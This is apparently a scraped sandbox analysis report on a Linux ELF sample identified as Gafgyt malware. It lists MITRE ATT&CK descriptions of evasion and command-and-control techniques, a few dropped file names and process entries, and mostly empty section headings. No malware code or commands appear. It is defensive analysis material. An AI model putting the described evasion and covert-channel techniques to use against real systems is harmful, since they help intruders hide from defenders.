Source: m68k.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report m68k.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Threatname: Gafgyt

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/Infected.log

/tmp/qemu-open.sFE9rB (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: dash PID: 6234, Parent PID: 4331

General

Chronological Activities

Analysis Process: rm PID: 6234, Parent PID: 4331

General

Chronological Activities

Analysis Process: dash PID: 6235, Parent PID: 4331

General

Chronological Activities

Analysis Process: rm PID: 6235, Parent PID: 4331

General

Chronological Activities

Analysis Process: m68k.elf PID: 6247, Parent PID: 6168

Linux Analysis Report
m68k.elf